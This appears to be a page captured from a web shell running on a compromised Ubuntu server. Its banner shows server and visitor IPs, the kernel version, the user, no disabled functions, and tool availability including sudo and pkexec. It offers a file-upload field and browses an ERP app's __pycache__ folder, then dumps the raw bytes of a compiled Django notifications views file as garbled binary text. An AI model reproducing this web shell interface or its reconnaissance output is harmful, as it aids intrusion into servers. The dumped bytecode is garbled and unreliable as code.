| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/erp/notifications/__pycache__/ |
Upload File : |
o
hͦh� � @ s� d Z ddlmZ ddlmZ ddlmZ ddlmZ ddl m
Z
ddlmZm
Z
ddlmZ dd lmZ dd
lmZ ddlmZ ddlmZ dd
lmZ ddlmZ ddlmZmZ edd�Zee� �ed�kroddl m Z nddl!Z!dd� Z"dd� Z G dd� de�Z#G dd� de#�Z$G dd� de#�Z%edd � �Z&ed1d!d"��Z'ed1d#d$��Z(ed1d%d&��Z)ed'd(� �Z*ed)d*� �Z+ed+d,� �Z,d-d.� Z-ed/d0� �Z.dS )2z$ Django Notifications example views � )�
StrictVersion)�get_version)�login_required)�
model_to_dict)�HttpResponse)�get_object_or_404�redirect)�method_decorator)�never_cache)�ListView)�
load_model)�NotificationSound)�settings)�
get_config)�id2slug�slug2id�
notifications�Notificationz1.7.0)�JsonResponseNc C s t | d�r | �� S | S )N� isoformat)�hasattrr )�obj� r �#/var/www/erp/notifications/views.py�date_handler s r c C s t tj| td�dd�S )N)�defaultzapplication/json)�content_type)r �json�dumpsr )�datar r r r ! s �r c s8 e Zd ZdZdZe�� d Zee �� fdd��Z
� ZS )�NotificationViewListznotifications/list.htmlr �PAGINATE_BYc s t t| �j|g|�R i |��S �N)�superr �dispatch)�self�request�args�kwargs�� __class__r r r$ , s zNotificationViewList.dispatch)�__name__�
__module__�__qualname__�
template_name�context_object_namer r �paginate_byr r r$ �
__classcell__r r r) r r '